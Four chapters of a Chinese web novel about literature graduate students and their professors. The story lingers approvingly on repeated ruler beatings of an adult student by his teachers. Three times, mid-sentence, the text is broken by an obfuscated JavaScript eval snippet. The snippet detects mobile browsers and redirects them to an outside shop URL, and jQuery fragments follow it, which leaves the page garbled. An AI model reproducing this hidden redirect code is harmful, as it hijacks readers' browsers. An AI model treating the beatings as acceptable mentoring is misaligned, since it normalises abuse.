《太阳和群山》 1. 第 1 章 学校这一年有了三个古代文学专业的研究生。 学院迎新,所有新生坐在学院最大的会议厅里,本科生兴奋地交头接耳彼此认识,研究生则淡定很多,看起来年纪也大了不少,手里拿着刚刚发下来的导师选择意向表,琢磨着自己这几年的去向。 其实就算年纪比本科生大了不少,就算读到研究生了,面对陌生的环境还是会感到迷茫,比如选导师要考虑什么,有哪些导师可以选,选哪个比较好,很多人都是没有头绪的。 “你有了解过导师吗?” “我们专业就一个导师和我一个研究生。” “选了之后是怎么样呢?” “随便吧,船到桥头自然直。” “二三十岁的人了,你还操心啥啊?” 谈到大家共同面临的话题,这一排坐着的十来个研究生也忍不住七嘴八舌起来,刘巍思坐在最边上的位置,沉默着没有说话。 学校的迎新流程刘巍思四年前就走过一次了,但不得不承认,这四年来,学校确实取得了长足的发展,就连迎新也庄重了很多,有了鲜花卡片气球,有了老生代表发言,还有一整个展板给他们写新生寄语,这些都是他曾经没有的。 不过他也过了那个对什么都很好奇的阶段了。 平静地坐了一下午,散会时刘巍思随着人流往外走,刚离开学院大门,就被叫住了。他回过头,鞠躬问好:“纪老师好。” 这位纪老师五十来岁的年纪,头发尚未花白,但眼角皱纹已经很明显了。他略带笑意,慢慢往前走:“巍思,你拿到导师意向表了?” 刘巍思扬了扬手里的表作为回答。 “选你老师?不再考虑考虑别的?” 刘巍思落在纪老师身侧半步,陪着他走:“当然是选我老师。” “你老师当然很好的,学界泰斗,又亲手把你带出来,不过你知道,你老师那个位置也不是一两个人在盯着,所有人都想当严煦和的弟子,我们专业今年这几个学生都很厉害,你老师未必不对别人动心。再说了,你老师现在又带着你师兄师姐,精力有限,你不如再考虑一下。” 刘巍思默默走路,没有说话。纪老师有点气急败坏:“你这个臭小子!我对你不好吗?你到我这里来,要什么有什么,你想啥啊?” 分明是橄榄枝,刘巍思却被茂密的枝叶戳得有点不自在,道:“我没想要什么有什么啊,我知道您这几年对我很上心,我也很尊敬您,没觉得您有什么不好,可我就是要跟我老师!” “你!行行行,到时候你老师不要你了,你可别哭着来找我!” “我老师才不会!” 纪老师无奈地摇摇头:“又来碰一鼻子灰,刘巍思,要么这样吧,你跟你老师读完硕士,再来跟我读博士。” “哎呀!纪老师,这都什么时候的事,您别想这么多了!”刘巍思也很无奈,还想不明白,“您都是系主任了,还愁没人选您吗?您自己也说,今年的学生都很厉害,万一您收到个好的,转头又觉得我不好了。” “这是好不好的问题吗?三个学生,就你从我们学校升上来的,我对你多知根知底,这四年抓你背了多少书写了多少文章,你什么心性我一清二楚,别人能一样吗?再说了,你要是不听话,我想打就打,我能打别人吗?” 刘巍思一听这话,立马又退了半步,想起过去在纪老师办公室里挨打的场景,不由得微微红了脸。 说回来也怪他老师,当年带他出来,还没等他兴奋劲过去呢,就怕他学坏,到处叮嘱学院里的老师,一定好好盯着他。结果就是刘巍思不管上什么课都能被点名回答问题,不管面对什么老师都有挨打的风险,四年下来,硬是被所有上过课的老师都批评过。 作为回报,他的成绩漂亮得再苛刻的老师都不会摇头。 在一众老师当中,纪老师最重视他,就跟自己的小孩似的带着,上完课了带着去吃饭,写完文章了一个字一个字看着改,犯错了能罚得连别的老师都来劝,还时不时给小孩子吹耳旁风:“你来读我的研究生,我就带你一个,以后让你坐我这个位置。” 刘巍思每一次都摇摇头:“不要。” 拒绝得干脆,一连拒绝了四年,拒绝到这个节骨眼,纪老师也没了办法,只好随他去:“我可告诉你,不选我当导师是一回事,被我抓到你糊弄学习,照样收拾你!” 刘巍思两手背在身后,手里的意向表有意无意地扫过屁股,闷声道:“知道了。” 刘巍思到家时,他老师已经在厨房做饭了,开放的厨房飘出刚煮熟的米香,是熟悉而温暖的味道。 “老师,我回来了。” 严先生的声音从里头传来:“去洗手吧,准备吃饭了。” 刘巍思把手里的东西放在客厅茶几上,洗了手就来帮老师端菜:“不是说了等我回来做吗?您也不嫌累。” 严先生年过花甲好几年了,但精神还好,能吃能喝能睡,能做研究能打学生,平时也从不要人照顾,听了学生的话,只道:“我又不是老得动不了,做个饭有什么?再说了,你们那个迎新不知道搞到什么时候,怕你回来饿了。” 莲藕炒肉片,煎蛋,炒青菜,很简单的菜。严先生从前不会做饭,是被下放劳动之后才学了一点,勉强能喂饱自己,刘巍思也从不嫌弃老师做的饭不好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590800|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——老师这么大年纪还为他下厨房,已经够辛苦了。 刘巍思摆好菜,先给老师盛了饭,说起今天的事情来:“老师,我们今天拿到导师意向表了。” “我知道,”严先生坐在椅子上,等着学生一起吃,“我也拿到了张表,让我们填意向学生,搞得神神秘秘的。” 刘巍思端着自己的一碗饭坐下,道:“纪老师说,让我选他。” 严先生似乎并不意外,淡淡一笑,道:“纪老师喜欢你不是一天两天的事了,整个学院都知道,他是系主任,又年轻些,选他也不是不可以。” 刘巍思没想到会听到这样的话,一时间万分意外,又隐隐有些失落:“老师是希望我选纪老师吗?” “老师想过这个问题,你在老师这里,老师什么都教给你,你再选一个导师,学到的东西自然更多,有百利而无一害。” “那老师是有别的意向学生了吗?”刘巍思语速很快,嘴角也不自觉耷拉了下去。纪老师说一千道一万,他都可以回绝,可以老师这么一说,他心里就没底了。 说回来也是二十来岁的急性子,见老师没有马上回答,刘巍思立刻将筷子往桌上一拍,急冲冲地往书房去了——他倒要看看是谁这么有本事,一来就把他老师给抢了! 导师的学生意向表跟学生们那张差不多,都是填专业、研究方向、姓名,还有自己最有意向的学生姓名,最后有是否服从安排的选项。严先生那张表大大方方地放在桌面上,刘巍思都不用找,一眼就瞧见了。 这表也太简单,刘巍思傻不拉几地就看见自己的名字被写在意向学生姓名那一栏,下面是否服从安排则勾了否,每个字都是他老师亲手写上去的。 不知怎么的,这张表虽然喂了他一颗定心丸,可他并没有高兴起来,反倒有点生气。再回到餐厅,严先生已经气定神闲地吃饭了,刘巍思感到自己被耍了一般,气呼呼地坐下,脸上明明白白地写着“给我一个说法”。 严先生只是笑笑:“不是都看见了?” “那您为什么要说那样的话呢?” “因为那些话并没有错,”严先生给学生夹了两片肉,缓缓道,“纪老师确实很好,对你也用心,你想选他无可厚非。” 可是我不想选啊! 严先生定定地看着长大了的孩子,语气温和:“老师会永远选你,但是老师的爱,不应该成为你的枷锁。” ———————————————— 之前的文一直卡,怎么都写不出来,所以我干脆把这篇改成群像文了,会有几对风格各异的师生,应该也会写成大长篇。 欢迎大家来玩呀! 2. 第 2 章 闷闷地吃了晚饭,收拾碗筷时,刘巍思才憋出一句:“我也要选老师。” 严先生被他逗笑了:“选,又没人拦着不给你选。” 悬着的心到这个时候才彻底安放下来,可刘巍思被老师惯了十来年,一直跟个小煤气罐似的,一点小事就炸个不停,洗个碗都乒乒乓乓的,像是随时准备轰掉这厨房。 “好了,不闹了,陪老师散步去?” 分明很想的,却还是给了一个白眼,拉着嘴角出门去了。 天完全暗了下来,可校园里灯火通明,学生们或是吃了晚饭匆匆忙忙往图书馆走,或是慢悠悠地回宿舍去,相互讨论着今天发生的事、看过的书,也有不少老师在校园里散步消食,一派祥和安稳气象。 “巍思,”严先生慢慢地走在校道上,缓缓开口,“你是跟着老师的脚印走出来的,这些年什么境况你也知道。别说老师,现在全国都没培养出多少硕士来,老师也说不好往后几年改怎么教你。不过老师想,研究生嘛,总是要做研究,不能再跟过去一样天天读书了,你说是不是?” “嗯。”听老师说一会话,刘巍思又没脾气了,乖乖应了一声,就等着后文。 “咱们文科,尤其是搞文学的,做研究不像他们理工科,要做实验。但是不管文科理科,有些事情是一样的,总得先有个研究的课题,然后再去找材料,得出结论。你本科的时候,老师带你写过文章,其实写文章的过程就是做研究,有题目了,就去翻书找资料,再把这些资料整合起来,捋出个逻辑来,搭框架,填材料,出结论。”严先生拉着学生的手,语重心长,“你读研究生了,就是要学会做这个事,明不明白?” 刘巍思另一只手也搭过去,扶着老师走:“我明白,虽然我自己没开始读,但是我也看师兄师姐们读了嘛,我有样学样就是了。” 严先生笑着摇摇头:“有样学样可不够,你们几个性格不一样,擅长的事也不同,不要什么都想着学别人。你基础还算扎实,也有灵气,可不够大胆,做研究呢,要有胆量去质疑,去挑战,去发现问题,不然你就永远找不到有价值的课题。” 刘巍思似懂非懂,没有应声。 可严先生却不往下说了,只道:“罢了,这才刚开始,也不要把你搞得太紧张了,先想想要研究什么方面?” “不是魏晋吗?” “这是你本科时候感兴趣的东西,你要是喜欢,当然可以继续研究,不过魏晋时间长,人物多,内容驳杂,你还得再想想具体研究什么时段、什么人、什么文体,甚至什么作品。” “那还是陶渊明吧。” 严先生抬手在他肩上拍了一巴掌,不重,嗤笑道:“净会偷懒。” 刘巍思开始跟着老师学习时就最喜欢陶渊明,早早就把陶渊明的诗文背了,本科时候也靠着这个写了好几篇课程论文,就连和老师师兄一起发表的文章也沾了这个光,没曾想,到了研究生还要借这个东风。 “老师,我可不是偷懒,您不是说课题要有研究价值吗?陶渊明的价值可大得很!” “好,随你,”严先生宠溺地笑笑,“不过老师可跟你讲,以后看书可不能看过就行,你要去辨真伪,找疑点,有观点,老师会随时抽查的,回答不出来,你的屁股就等着开花吧。” 刘巍思下意识地摸了摸屁股,追问道:“那要回答成什么样,老师才不打?” “现在就想着不挨打,真是越活越回去了。”严先生有些无奈,可也高兴小孩子心思这么单纯,“想不挨打也简单,你下了工夫就行。比如说,你在书里看到一句重要的话,总要弄清楚什么意思,但你不能想着读懂字面意思就完了,要联系文章,联系作家生平、写作背景、社会环境,还要去看前人是怎么说的,再对比自己的理解,看自己到底能领会几层,前人的看法对不对,如果不对,他为什么那样说……” 刘巍思暗暗吃惊,原来读书这么讲究吗?怪不得大师兄动不动就要来找老师讨论,常常为了一句话说一个下午。 “老师,这好难,我肯定要挨打了。” 看小孩哭丧着一张脸,严先生好气又好笑:“挨打有什么了不得的,你在这里四年,哪个学期不挨几回打?再说了,你大师兄长你十几岁,还得被老师教训呢!挨打不可怕,怕的是,你这个笨脑瓜子挨了打也学不会!” “老师乱说!刚刚还说我有灵气!” 严先生笑吟吟的:“再有灵气,在老师这里也是笨脑瓜子!” 刘巍思撅着嘴,别过脸去了。 过了两日,便是上交意向表的时间。刘巍思拿着自己和老师的表,敲开了纪老师办公室的门。办公室不大,简单摆着一套木桌椅和两个大书柜,上面满满当当地塞着大小不一的书。纪老师坐在办公桌后,见是刘巍思,便招招手让他过来。 刘巍思习惯性地关上了门——都是过去几年在这里挨打留下的阴影。 “选好了?” “选好了,”刘巍思双手把表递过去,“我老师选我,我选我老师。” 纪老师一脸吃瘪的表情,接过他的表,分别放在桌子右侧。刘巍思目光一动,看见被盖住的那张表上写着纪慎大名,意向学生正是他。 “纪老师,”刘巍思颇觉愧疚,仿佛辜负了一颗真心,“有学生选您的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590801|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪老师不愿意落下风,白他一眼,气哄哄道:“当然有!我学生缘好得很,不知道多少人抢着选我!” “纪老师,我们专业一共才三个学生。” 除了我,最多两个人抢您,而且搞不好两个都没有。 “刘巍思,你翅膀硬了是不是?以为以后导师制我管不了你了是不是?” 刘巍思立刻老实了:“没有,纪老师,我错了。” 纪老师拿起放在桌边的戒尺,随手敲了敲:“站过来一点。” 刘巍思对那把戒尺可谓心有余悸,本科时上纪老师的课,每次下课都要被拎过来教训一顿,这戒尺动不动就上身,偏生纪老师打起人来没个计较,总是往重了打,回回都能打得他屁股上一片青紫,有几次严先生见了都不忍心。 刘巍思这些年从来没有反抗过老师们,听话得像小绵羊,即使心中再不情愿,也只会暗自委屈,绝不会抗拒。知道纪老师要打他,虽然害怕也不甘,却还是听话地往桌边迈了两步,随后微微俯身,双手撑在桌面上。 与刚到大学时相比,刘巍思这几年明显长了肉,脸圆润了,就连屁股也跟着饱满了许多。这么一撑,怎么看都是献祭的姿态。 戒尺隔着裤子搭上,刘巍思眉心一动,两手不自觉用力了些,随后那戒尺离开臀部,又兜风抽下来,“啪”一声格外清脆响亮。 “嘶——”膝盖一屈,差点变了姿势。刘巍思打直腿,却不由得腹诽,纪老师不愧是学院心狠手辣第一人,幸亏他只用戒尺,要是换了别的东西,肯定要疼死。 “啪!” “呃……” “才打你两下就哼哼唧唧的!”纪老师十分不满,训斥了一声,又扬起戒尺,“啪啪啪”全力抽打下去。戒尺责在臀上,带起裤子一道道褶皱,虽看不见底下的光景,但瞧刘巍思的反应,大约是轻不了。 不过纪老师还算有良心,打了十来下就丢下戒尺:“起来,浪费我力气!” 刘巍思龇牙咧嘴地起身,两手不住揉着屁股,心想这真是无妄之灾,也不知道以后纪老师的学生受不受得住他的坏脾气。 纪老师收拾了桌上的表,放在他跟前:“去,拿去交给童院长。” “知道了,那我走了。”刘巍思拿起表,恨不得立刻窜出去,“纪老师再见。” 离了办公室,刘巍思还是忍不住,一边走一边揉屁股,看看手上的表,好奇心大发,草草翻过去,发现根本没人抢纪老师。 只有一个学生选了纪老师。 刘巍思歪着头,认认真真地看了那张表,表头写着学生的姓名。 庄遂平。 3. 第 3 章 纪老师给学生们上文献学方面的课程,三个古代文学的学生,加一个古典文献学的学生,一共四个人坐在三楼的会议室里等着。刘巍思就在这第一次上课的时候见到了那个选了纪老师的学生,庄遂平。 “你们都见过自己的导师了?”庄遂平不怎么怕生,见大家不约而同地点头,有点不好意思地笑笑,“我还没见过纪老师呢,今天第一次见。” 原来纪老师还没跟人家见过面。刘巍思暗暗叹气,冲他道:“纪老师很厉害的,你放心好了。” “老师嘛,当然厉害了,但是我比较差,心里没底。” 刘巍思脑海中顿时浮现出纪老师的戒尺来,不知道这位同学将来会不会挨打,但当下也只能安慰他:“你能考上研究生,怎么会差?” 庄遂平憨厚地笑,摆摆手:“运气好,运气好,哎?你跟纪老师很熟?” “呃……我……”刘巍思没想好怎么说,余光却瞥见门外纪老师的身影,立刻起身问好,“纪老师好。” 其他学生见了,先后站起来,齐声道:“纪老师好。” 纪老师今日穿戴齐整,头发梳得一丝不苟,板正着走进来,将手里的书和资料放下,点点头道:“都坐吧。” 别人坐得安稳,可刘巍思屁股都没沾到椅子,就被纪老师瞪了一眼,斥道:“你坐这么远干什么?” 刘巍思悻悻地看了庄遂平一眼,硬着头皮拿起桌上的笔和本子,坐到纪老师身侧去了。可他又不安心,坐下了还要提醒纪老师:“老师,庄遂……” “闭嘴!我让你说话了?!” 刘巍思浑身一抖,彻底安静了。其他学生见了纪老师这阵势,一时眼观鼻鼻观心,默默在心里给纪老师下了不好相处的评语。只有庄遂平,看看老师,又看看刘巍思,总觉得怪怪的。 第一节课,总免不了要自我介绍。纪老师记性很好,给本科生上课的时候,一个大教室几十号人都能一次记住所有人的名字,更何况这四个人。因此学生们自我介绍时都感觉老师似乎没怎么上心,最多就是抬眼看一下是谁在说话。 庄遂平很紧张,这是他和导师的第一次会面,别人自我介绍的时候他就琢磨着该怎么说,只是他和别人到底不一样的。 “老师好,我叫庄遂平,就是庄子的庄……” “我知道怎么写。”纪老师冷不丁打断了他的话,只见庄遂平讪讪的,继续道:“我、我没上本科,是直接考的研究生,也没有发过文章,就、请老师多指教。” 纪老师盯着他,目光中没有一丝温度,过了会才道:“上课吧。” “老师,”刘巍思小声道,“我还没有介绍呢!” “你不用。” 语气还是一样冷淡,可不知怎么的,庄遂平还是从纪老师看向刘巍思的眼神中探到了一丝宠溺。 纪老师是研究明清文学的,上文献学的课也以文学文献为主,介绍了自己上课的内容和要求之后就列了一长串阅读书目,要求学生在课程结束时从里面选一本书来分享。 “要求都听明白了?” 学生们纷纷点头,纪老师便开始正式授课。纪老师上课热爱提问,但不喜欢讲大问题,就爱问些基础的小问题,刘巍思本科时吃尽了纪老师提问的苦头,因此时刻打着十二万分精神,一边听还要一边不停想他可能会问什么,只是纪老师说得快,刘巍思脑容量也有限,听到提问时还是心头一跳。 “如果我要找先秦的诗歌,除了诗经楚辞,还有什么材料可以用?”纪老师锐利的目光扫视全场,最后定在他的学生身上,“庄遂平。” “啊?”庄遂平做笔记的手慢慢紧了,正如他所说,他是没上过本科的,全靠自学考研究生,对先秦诗歌的了解也仅限于诗经楚辞,除了这两个,他什么也不知道啊! 可是老师一直盯着他,这是老师问他的第一个问题。 庄遂平心跳个不停,下意识地看向别人,仿佛别人知道答案一样,可是其他人都低着头,好像竭力不让老师注意到。他知道没人能帮他,他也确实回答不了了。 “对不起,老师,我不知道。” 纪老师的目光仍钉在他脸上,双唇轻启:“刘巍思。” 刘巍思深吸一口气,不住庆幸纪老师是先叫了别人,让他有了片刻思考回忆的时间,否则他也真的什么都回答不上来了。 “可以用郭茂倩《乐府诗集》……” 庄遂平认认真真听着,顿时懊悔不已,他怎么没想到《乐府诗集》呢?他明明也知道的。 “……还有沈德潜的《古诗源》,还有……”刘巍思挠挠头,拼命想那个很长的书名,“严可均的什么来着……” 如果刘巍思这个时候能学庄遂平看一看其他同学的脸色,就会发现有人已经皱起眉头了。 “严可均的……哦,全上古三代秦汉三国六朝……诗?” 纪老师冷笑了一声。 刘巍思乖乖闭上了嘴,他知道自己说错了。 “严可均这么厉害,编完《全上古三代秦汉三国六朝文》,还能编《全上古三代秦汉三国六朝诗》?刘巍思,你帮他编的?” 刘巍思脸一红,简直没法见人了,低声道:“对不起,老师,我记错了。” “什么人,编过什么书,都要背得滚瓜烂熟,这是最基本的要求,连这个都记不清楚,还读什么研究生?!” 刘巍思短短的指甲一下下抠着袖子上的纹路,没有再抬头。至于那位直接说不知道的庄遂平同学,更是连呼吸都不敢太用力。 两个小时的课,气压都很低,学生们回答问题更加战战兢兢,哪怕知道是正确答案也不敢大声说。好不容易挨到下课,众人纷纷悄悄喘气,把心上的大石头暂且放了下来。纪老师利落地收拾好上课的书和资料,道:“刘巍思,跟我来。” 刘巍思没反应过来,下意识地看向了庄遂平,想说这才是您亲亲学生呀,您叫我干什么?可是纪老师头也不回地走了出去,他也只得跟上,抱着笔记本“吭哧吭哧”地在后面追。 庄遂平看着他们先后出去的身影,默默收拾东西,整理好会议室,慢慢出去了。 纪老师才回到办公室放下东西,刘巍思就追上来了,一进门就自觉关门反锁,走到纪老师跟前去了。纪老师一句废话也没有,拿起戒尺敲敲桌边:“站过来。” 其实刘巍思在课上已经有预感要挨打了,可是他没想到,纪老师竟然完全不管自己的学生,一下课就这么着急教训他,一时间还是不大好接受。 但是不好接受又怎么样呢?他又没办法,只得把自己的东西放在桌角,慢慢走到纪老师身侧,垂头拉下裤子,露出受罚的部位来。 上次在这里挨打,是一周前来送意向表,那次纪老师泄气一般打了他十几下,回去一看,并没有留下什么痕迹,这一周里,他连巴掌都没挨过,屁股干净得不得了,简直像特地为这顿打时刻准备着似的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590802|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘巍思照旧双手撑在桌上,双腿微微分开,塌腰,让臀部微微翘起,无声地提示着纪老师可以开始责打了。 纪老师不说话,只是解开右手的袖口,将袖子往上卷了几卷,握紧戒尺,随后连提醒也没有,“啪”一声就抽打下去。刘巍思猛地闭起双眼,竭力咬紧牙关才没有叫出声。 臀上缓缓浮现出一道绯红尺痕,又迅速被下一尺打得发白,才更加**起来。戒尺不断抽下,伴随着“啪啪啪”的清脆声响,臀上的红肿范围越来越大,二三十下过后,整个屁股都成了绯红色,和大腿处的白皙形成了鲜明对比。 刘巍思一开始还能忍,挨过十几二十下就有些撑不住,每挨几下就要痛呼一声,并且越来越频繁。 只是纪老师很不能容忍他的痛呼,边落戒尺边斥骂:“挨这几下戒尺就受不住了?我打错你没有?” “啊!没、没有,老师,我知道错了……” “啪!”“你知道错了?错哪儿了?” “呃——我记错了严可均的文献,我……我不该记不清就乱说……” “啪!”“你自己就是研究魏晋的,别人不知道就算了,你能不知道吗?别说今天我打你,就算你回去了,你老师还得收拾你!” “呜……我知道,我知道错了……” “啪!”“知道错了就给我好好受着,别哼哼唧唧的,再让我听到你瞎叫唤,我打断你的腿!” “知、知道了……”刘巍思疼得两腿发软,几乎站不直,全靠双手撑着,头上冷汗直下,一颗颗的几乎都要滴进眼里,他闭紧眼睛,却还是感到咸腥的汗水渗了进去,蜇得他生疼。 纪老师绕到学生另一侧,戒尺搭在他早已肿了一圈的臀上,道:“再打五十,下次还错这种问题,就在课堂上打!” 刘巍思被这个说法吓得打了个冷颤,道:“是。” 戒尺毫不留情地落下,一下下抽在那两团饱受摧残的肉上,把红肿的肉团打得凹下又恢复原状,钝重的疼痛一层层下渗,从表皮一直疼到肉里,甚至传到四肢百骸。刘巍思撑得为难,两手青筋暴起,紧紧咬住下唇,不让自己**一点声音,只在心里默默数数。 七、八、九…… 二十、二十一、二十二…… “啪啪啪”,戒尺全力抽打上来,把整个受罚的部位都打成了深红色,像一个烂熟的桃子,而纪老师没有丝毫心软,仍然蓄足了力,让每一下戒尺都能发挥它应有的作用。 过轻的惩罚,对一个必须要优秀的学生来说,是没有用的。 三十七、三十八、三十九…… 刘巍思几乎撑不住了,两手滑腻膩的全是汗,唯一支撑着他的,就是这五十戒尺快打完了。 真的……好疼…… 四十七、四十八、四十九…… “啪!”最后一下戒尺落下,刘巍思整个人直接瘫倒在桌上,根本不想动了。纪老师丢下戒尺,道:“起来擦擦,别在这里丢人。” 刘巍思眨眨眼睛,还是选择颤抖着站起身,纪老师到底跟他老师不一样,在纪老师这里,撒娇、闹脾气都是不管用的——除了招致更严重的惩罚。 刘巍思穿好裤子,强忍着伤处与布料摩擦带来的大面积刺痛,擦了汗,确定自己没什么问题了,才鞠躬谢老师罚,然后转身离开。 刘巍思像来时一样,抱着自己的笔记本,拧开门把,还没走出去,却愣住了:“庄遂平?!” 4. 第 4 章 庄遂平不是没想到会遇见刘巍思,却真没料到会瞧见他这副模样——脸色发白,头发潮湿,像是生病了。 “你还好吗?” 刘巍思顿时有些心虚,不知庄遂平是否在外面听到了什么,也不敢求证,只能硬着头皮道:“没事。你来找纪老师?” “哦,对,我打听到老师的办公室在这里,想来见一下他。” “纪老师在里面,你去吧,我先走了。”刘巍思片刻不敢停留,头也不回地朝着楼梯去了,压根不管庄遂平和纪老师会怎样。 人家师生的事哪轮得到他来操心?他还是操心自己的屁股吧! 刘巍思回了家,疼得脑袋都懵了,什么也不想,直接倒床睡了。这一觉睡得昏天黑地,还是严先生把他叫醒的:“你怎么回事呢?衣服也不换就睡。” “老师……” 委委屈屈的,带着点哭腔。严先生坐在床边,问:“哪个老师又打你骂你了?” 刘巍思爬到老师身上趴着,道:“挨纪老师打了。” 严先生有些无奈,都这么大个人了,挨几下打还委屈成这副模样:“你又做什么混账事了?气得纪老师打你。”说是这么说,严先生还是剥了他的裤子,看起伤来。 房间昏暗,刘巍思不想让老师担心,又怕再挨老师打,撒娇似的卷起被子,整个躲了起来:“老师别看。” “听话,老师看看,打伤了要上药的。” “我不疼,老师不要看了。” 严先生不得不板起脸:“刘巍思,你不听话了?” 严先生叫自己门下的学生,少有连名带姓的,若真是这样,必然是气极了。刘巍思也很知道老师的习惯,一听到自己的全名,便缴械投降,乖乖爬出来了。 床头柜里有消肿的药膏。严先生找出药膏,借着窗帘缝隙间漏进来的光给孩子上药:“打得还挺重,说说,犯什么事了?” 清凉的药膏在臀上铺开来,刘巍思却忍不住嘶嘶叫,想来是破了点皮,沾到药膏有明显的刺痛感:“也没什么。” “啪!”严先生一巴掌拍在小孩屁股上:“你糊弄我呢?没什么打成这样?” 许是刘巍思挨打多了,竟也没觉得这顿打有多重,只想含糊过去:“哎呀,就是我课上问题没有回答好。” 偏生严先生不肯轻轻放过,追问道:“让老师听听你都在课堂上说什么了,值得这么一顿打。” 眼见是瞒不过去了,刘巍思只得道:“我没说对严可均编的文献,全上古三代秦汉三国六朝文,给说成诗了。” 严先生一愣,显然没想到小孩因为这个挨打,一时有些气恼,又“啪啪啪”补给他几巴掌,刘巍思差点整个人跳起来:“老师,老师,别打,太疼了!” “你还知道疼!这个都能记错,你这个脑子都记什么去了?!别的不知道就算了,这个文献你用过,怎么能记错呢?” “老师我知道错了,老师别打!” 严先生瞪了他一眼:“要不是看在纪老师打过的份上,我现在就去把教鞭拿来!我可警告你,布置给你的书都给我好好看,该背的背,不然到时候,求饶都没用!” “知道了。” 口头的训诫是常事,刘巍思一点怨怼都没有,转头就粘着老师一块做饭去了。周五下午是严先生给研一学生上的专业课,古代诗歌的鉴赏与研究,上课地点还是那间会议室,只有专业三个学生。 刘巍思不慌不忙地扶着老师到会议室,一看另外两位同学都到了,一边给老师介绍两位同学一边帮老师拉开椅子。严先生缓缓坐下,温和地笑笑:“好,大家都好,坐吧,不要拘束。” “老师,”刘巍思从斜跨包里取出老师上课用的课本和眼镜,又拿出搪瓷杯和分装好的茶叶,“我去给您泡茶。” “好,你慢着点,不要急。” 庄遂平看着刘巍思前前后后帮严先生准备好上课用的东西,想,原来这才是学生和老师之间的样子吗?再想到那日去见纪老师,纪老师只让他回去多看书,一时间颇有些失落。 刘巍思给老师收拾齐整,坐在老师身边,翻开自己的笔记本,表示自己准备好了。 严先生小口啜饮热茶,见学生们都一副专心听讲的模样,便道:“我们来上课吧。” 庄遂平做好了像纪老师的课上那样奋笔疾书的准备,可严先生却是从刘巍思说起的:“巍思是我的学生,我是被下放到他们村里劳动的时候认识巍思的,到现在已经有十来年了。我们那时候去劳动,就是喂猪、放牛、下地插秧、除草,什么农活都做一点,我教巍思读书,他教我干活……” “我从前读书的时候,喜欢王维、杜甫这些人,所以我也最开始教巍思这些,但是一直教到第二三年,我才发现,他不喜欢王维,也不喜欢杜甫,甚至不喜欢李白,他喜欢陶渊明。” “有一回我们在田里干活,天气闷热,这时候一阵狂风吹过,淅淅沥沥地下了几颗雨,一下就凉快了,大家都很高兴,巍思就在田埂那头很大声地朝我喊了两句诗,微雨从东来,好风与之俱。” “我那时候很感动,觉得这个孩子真有灵气,最重要的是,他有可以和陶渊明共鸣的生活经验,也就是所谓的田园生活。” “为什么花时间跟大家说这些呢?因为我想通过巍思这个个例告诉大家,欣赏诗歌的第一个途径,就是生活经验。不要在诗歌里读诗,要去生活里读诗,所谓工夫在诗外,不仅写诗如此,读诗也如此。” 庄遂平沉浸在严先生平和而有磁性的声音里,才知道原来不同的老师,差别会这么大。 严先生讲了快两个小时,剩下时间留给他们提问。庄遂平举手道:“严老师,您有什么推荐给我们读的书吗?” “读诗集,你们都是研究生了,一定要读大家名家的诗集,不要读诗选,要读完完整整的诗集。一开始要读一流的诗人,李白杜甫苏轼这些,读上十个八个一流诗人的诗集,再往下读,就无师自通了。” “好的,谢谢老师。” 一节课下来,严先生坐得有些累,起身的时候踉跄了一下,刘巍思忙上前扶着:“老师没事吧?” “没事没事,你不要太紧张了。” 庄遂平看着刘巍思帮严先生收拾好东西,又慢慢地扶着出去,一股难以言喻的情感渐渐在心头升起。 只是那时的庄遂平也并不知道,这样的师生情背后,总有一个受苦受难的屁股。 次日上午,刘巍思敲敲书房门,轻轻推开走进来,把手里的书放桌上,“老师,我看完了。” 桌上散乱着刚用硬纸板裁出来的卡片,还没有电脑和数据库的年代,学者们只能用最原始的方法自己做索引目录。这些事情琐碎,但严先生从来不嫌烦,闻言只是笑笑,慢慢收起卡片,按照分类放进小格子里:“戒尺拿过来吧。” 这是刚开学时严先生说过的,每次读完书就要来接受检查,检查么,自然免不了挨打——倒不是他读得不认真,实在是严先生要求太高了。 不过刘巍思和老师之间从没有什么矛盾隔阂,尽管挨打时不那么乐意,但也没因为这个有过龃龉。此时见老师收拾了卡片,便走到对面书架,把那柄深棕色戒尺双手捧了过来。 “老师。” 严先生接过戒尺,便看见学生有些为难的样子,垂着脑袋,咬着下唇,双脸憋得通红,过了会,简直发狠似的,一把扯下了裤子,转身撑在书桌上。 臀上还留着前几日在纪老师那里受罚留下的青灰痕迹,一团团的。严先生见了,知道他后来没再上药,有些无奈,却也没办法,只说上正题:“书真看完了?这才几天。” “看完了,以前看过的,这次是重读,抓了些重点,跟陶渊明有关的,老师问吧。” “嗯,钟嵘怎么评价陶渊明的?” 